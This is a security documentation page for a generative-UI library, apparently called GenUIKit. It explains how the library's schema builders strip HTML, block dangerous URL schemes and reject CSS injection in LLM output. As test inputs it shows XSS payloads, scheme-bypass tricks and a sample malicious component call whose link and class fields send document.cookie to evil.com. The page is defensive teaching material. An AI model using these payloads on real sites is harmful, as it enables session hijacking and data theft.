Security

Every string produced by an LLM is untrusted input. GenUIKit sanitizes and validates all values at the schema level so malicious output never reaches your UI.

Why Security Matters

LLMs do not have intentions, but they can be manipulated. Prompt injection, jailbreaks, and even ordinary hallucinations can cause a model to emit HTML tags, dangerous URLs, or CSS injection payloads. If your app renders that output without sanitization, you have a live XSS vulnerability.

Attack surfaces in generative UI

  • XSSAn LLM returns <img src=x onerror=alert(1)>as a "title" field. Without stripping, the browser executes the script.
  • URL injectionA link field contains javascript:alert(document.cookie). Clicking it runs arbitrary code in the user's session.
  • CSS injectionA className field contains x; background: url(evil.com/steal). The browser fetches the URL, leaking context.

GenUIKit takes a defense-in-depth approach. Every safe schema builder strips, validates, and truncates in a single Zod transform-pipe chain. Even if one layer is bypassed, the next catches it. You never need to remember to call a sanitizer manually because the schemas do it for you.

Safe Schema Builders

GenUIKit exports four builder functions that return Zod schemas with built-in sanitization. Use them anywhere you define props that accept LLM-generated content.

1import { safeString, safeUrl, safeHtml, safeCssClass } from '@genuikit/core';

safeString(options?)

Strips all HTML tags, removes control characters (null bytes, etc.), and truncates to a maximum length. This is the default builder for any plain-text field.

Options

  • maxLength -- Maximum string length after sanitization. Default: 10,000
  • policy -- Custom SecurityPolicyConfig to override defaults.
safeString exampletypescript
1import { safeString } from '@genuikit/core';
2 
3const titleSchema = safeString({ maxLength: 200 });
4 
5// LLM returns a XSS payload as the title:
6titleSchema.parse('<img src=x onerror=alert(1)>Hello');
7// => "Hello" (tags stripped, text preserved)
8 
9titleSchema.parse('Normal title');
10// => "Normal title" (unchanged)
11 
12titleSchema.parse('A'.repeat(500));
13// => "AAA...A" (truncated to 200 chars)

safeUrl(options?)

Validates URLs against a scheme allowlist and blocklist. Blocks javascript:, data:, vbscript:, and blob: schemes by default. Normalizes the URL using the built-in URL constructor.

Options

  • allowedSchemes -- Override allowed schemes. Default: ['https', 'http', 'mailto']
  • policy -- Custom SecurityPolicyConfig.
safeUrl exampletypescript
1import { safeUrl } from '@genuikit/core';
2 
3const linkSchema = safeUrl();
4 
5linkSchema.parse('https://example.com/page');
6// => "https://example.com/page" (valid, normalized)
7 
8linkSchema.parse('javascript:alert(1)');
9// => throws ZodError: URL scheme "javascript" is blocked
10 
11// Case tricks don't work either:
12linkSchema.parse('jAvAsCrIpT:alert(1)');
13// => throws ZodError: URL scheme "javascript" is blocked
14 
15// Null-byte bypass attempt:
16linkSchema.parse('java\x00script:alert(1)');
17// => throws ZodError: URL scheme "javascript" is blocked

safeHtml(options?)

Strips all tags except an allowlist of safe formatting tags. All attributes are removed from allowed tags, preventing event handler injection like onload or onerror.

Options

  • allowedTags -- Tags to keep. Default: b, i, em, strong, u, br, p, ul, ol, li, h1-h6, code, pre, blockquote, span, div, a, table, thead, tbody, tr, th, td
  • maxLength -- Maximum output length. Default: 50,000
  • policy -- Custom SecurityPolicyConfig.
safeHtml exampletypescript
1import { safeHtml } from '@genuikit/core';
2 
3const descriptionSchema = safeHtml();
4 
5descriptionSchema.parse('<b>Bold</b> and <script>alert(1)</script> text');
6// => "<b>Bold</b> and text" (script tag stripped)
7 
8descriptionSchema.parse('<a href="x" onclick="steal()">Click</a>');
9// => "<a>Click</a>" (all attributes removed)
10 
11descriptionSchema.parse('<img src=x onerror=alert(1)>');
12// => "" (img not in allowlist, stripped entirely)

safeCssClass(options?)

Validates CSS class strings against a character pattern that allows standard classes, Tailwind utilities, CSS modules, and BEM notation. Blocks CSS injection patterns like expression(), url(), and behavior().

Options

  • maxLength -- Maximum class string length. Default: 256
  • policy -- Custom SecurityPolicyConfig.
safeCssClass exampletypescript
1import { safeCssClass } from '@genuikit/core';
2 
3const classSchema = safeCssClass();
4 
5classSchema.parse('flex items-center gap-2 text-blue-500');
6// => "flex items-center gap-2 text-blue-500" (valid Tailwind)
7 
8classSchema.parse('md:grid md:grid-cols-2 hover:bg-[#f0f0f0]');
9// => "md:grid md:grid-cols-2 hover:bg-[#f0f0f0]" (valid)
10 
11classSchema.parse('x; expression(alert(1))');
12// => throws ZodError: CSS class contains forbidden pattern
13 
14classSchema.parse('bg url(https://evil.com/steal)');
15// => throws ZodError: CSS class contains forbidden pattern

Security Policy

All safe schema builders share a common configuration object. The default policy covers most use cases, but you can customize it using the immutable SecurityPolicy class and its .with() builder.

default policytypescript
1import { DEFAULT_SECURITY_POLICY } from '@genuikit/core';
2 
3// The default configuration:
4// {
5// maxStringLength: 10_000,
6// maxUrlLength: 2_083,
7// maxCssClassLength: 256,
8// maxHtmlLength: 50_000,
9// allowedUrlSchemes: ['https', 'http', 'mailto'],
10// blockedUrlSchemes: ['javascript', 'data', 'vbscript', 'blob'],
11// allowedHtmlTags: ['b', 'i', 'em', 'strong', 'u', 'br', ...],
12// stripHtml: true,
13// cssClassPattern: /^[a-zA-Z0-9_\-\s:./[\]#%,!@]+$/,
14// }

Customizing with .with()

The .with() method returns a new SecurityPolicy instance with your overrides merged in. The original policy is never mutated.

custom policytypescript
1import { DEFAULT_SECURITY_POLICY, safeString, safeUrl } from '@genuikit/core';
2 
3// Create a strict policy for short-form content
4const strictPolicy = DEFAULT_SECURITY_POLICY.with({
5 maxStringLength: 1_000,
6 allowedUrlSchemes: ['https'], // HTTPS only, no http or mailto
7});
8 
9// Pass the policy to any safe builder
10const titleSchema = safeString({
11 maxLength: 200,
12 policy: strictPolicy.config,
13});
14 
15const linkSchema = safeUrl({
16 policy: strictPolicy.config,
17});
18 
19// http:// links are now rejected:
20linkSchema.parse('http://example.com');
21// => throws ZodError: URL scheme "http" is not in the allowed list

Configuration options

OptionDefaultDescription
maxStringLength10,000Max chars for safeString output
maxUrlLength2,083Max URL length (matches IE limit)
maxHtmlLength50,000Max chars for safeHtml output
maxCssClassLength256Max CSS class string length
allowedUrlSchemeshttps, http, mailtoSchemes that pass URL validation
blockedUrlSchemesjavascript, data, vbscript, blobSchemes rejected before allowlist check
allowedHtmlTagsb, i, em, strong, ...Tags kept by safeHtml (attributes stripped)
stripHtmltrueWhether safeString strips all HTML
cssClassPatternRegexAllowed character pattern for CSS classes

HTML Sanitization

Under the hood, the safe schema builders use a set of pure sanitization functions. These are also exported for direct use if you need lower-level control.

Why not regex?

A common approach is to strip HTML with a regex like /<[^>]*>/g. This is dangerous for two reasons: it is vulnerable to ReDoS (Regular Expression Denial of Service) attacks with crafted input like a long sequence of unclosed angle brackets, and it can be tricked by malformed HTML that real browsers still parse. GenUIKit uses an O(n) character-by-character state machine that is immune to both problems.

Exported functions

sanitize functionstypescript
1import {
2 stripHtmlTags,
3 escapeHtml,
4 sanitizeString,
5 sanitizeHtml,
6} from '@genuikit/core';
7 
8// stripHtmlTags — O(n) state-machine HTML tag removal
9stripHtmlTags('<b>Hello</b> <script>alert(1)</script>World');
10// => "Hello World"
11 
12// escapeHtml — convert special chars to HTML entities
13escapeHtml('<img src="x">');
14// => "&lt;img src=&quot;x&quot;&gt;"
15 
16// sanitizeString — full pipeline: control chars + strip HTML + truncate
17sanitizeString('Hello\x00World<b>!</b>', DEFAULT_SECURITY_POLICY.config);
18// => "HelloWorld!"
19 
20// sanitizeHtml — keep only allowlisted tags, strip all attributes
21sanitizeHtml(
22 '<b>bold</b><script>bad</script><a href="x" onclick="y">link</a>',
23 ['b', 'a'], // allowed tags
24 50_000, // max length
25);
26// => "<b>bold</b><a>link</a>"

The state machine approach guarantees O(n) performance regardless of input. There is no backtracking, no catastrophic matching, and no way to trigger exponential processing time. This is critical for production systems where an attacker controls the input.

URL Validation

The validateUrl function implements a defense-in-depth pipeline that catches common bypass techniques used to sneak dangerous schemes past filters.

URL validation pipelinetypescript
1import { validateUrl, DEFAULT_SECURITY_POLICY } from '@genuikit/core';
2 
3const policy = DEFAULT_SECURITY_POLICY.config;
4 
5// Step 1: Remove control characters and trim whitespace
6// Step 2: Check length against maxUrlLength (2,083)
7// Step 3: Reject empty strings
8// Step 4: Normalize and check scheme against blocklist
9// Step 5: Parse with URL constructor, verify against allowlist
10 
11// Standard valid URL
12validateUrl('https://example.com', policy);
13// => { valid: true, sanitized: "https://example.com/" }
14 
15// Blocked scheme
16validateUrl('javascript:alert(1)', policy);
17// => { valid: false, violation: { message: 'URL scheme "javascript" is blocked' } }

Bypass attempts that are caught

bypass attemptstypescript
1// Case variation — normalized before checking
2validateUrl('jAvAsCrIpT:alert(1)', policy);
3// => blocked: scheme "javascript" is blocked
4 
5// Null bytes — stripped before scheme extraction
6validateUrl('java\x00script:alert(1)', policy);
7// => blocked: scheme "javascript" is blocked
8 
9// Tab/newline insertion — whitespace removed from scheme
10validateUrl('java\tscript:alert(1)', policy);
11// => blocked: scheme "javascript" is blocked
12 
13// Data URIs — blocked by default
14validateUrl('data:text/html,<script>alert(1)</script>', policy);
15// => blocked: scheme "data" is blocked
16 
17// VBScript (legacy IE attack vector)
18validateUrl('vbscript:MsgBox("xss")', policy);
19// => blocked: scheme "vbscript" is blocked
20 
21// Relative URLs are allowed (no scheme to exploit)
22validateUrl('/safe/path', policy);
23// => { valid: true, sanitized: "/safe/path" }
24 
25validateUrl('#anchor', policy);
26// => { valid: true, sanitized: "#anchor" }

Adapters Use Security Automatically

If you use any of the pre-built adapters (shadcn/ui, Tailwind, MUI), all component schemas already use the safe builders internally. You get XSS protection, URL validation, and CSS injection blocking with zero configuration.

adapter internals (you don't need to write this)typescript
1// Inside @genuikit/adapters — this is already done for you
2import { safeString, safeUrl, safeCssClass } from '@genuikit/core';
3 
4// Every text prop uses safeString
5const childrenSchema = safeString({ maxLength: 50_000 });
6 
7// Every URL prop uses safeUrl
8const srcSchema = safeUrl();
9 
10// Every className prop uses safeCssClass
11const classNameSchema = safeCssClass();

This means if an LLM produces a component call like:

malicious LLM outputjson
1{
2 "type": "Button",
3 "props": {
4 "children": "<img src=x onerror=alert(document.cookie)>Click me",
5 "href": "javascript:fetch('https://evil.com?c='+document.cookie)",
6 "className": "btn; background: url(https://evil.com/exfil)"
7 }
8}

The adapter schemas will automatically:

  • 1.Strip the <img> tag from children, producing just "Click me"
  • 2.Reject the javascript: URL with a validation error
  • 3.Reject the CSS class string that contains url()

Building custom schemas?

If you write your own component schemas instead of using an adapter, use the safe builders for every string field that receives LLM output. A plain z.string() gives you no protection. Replace it with safeString(), safeUrl(), or safeCssClass() depending on the field type.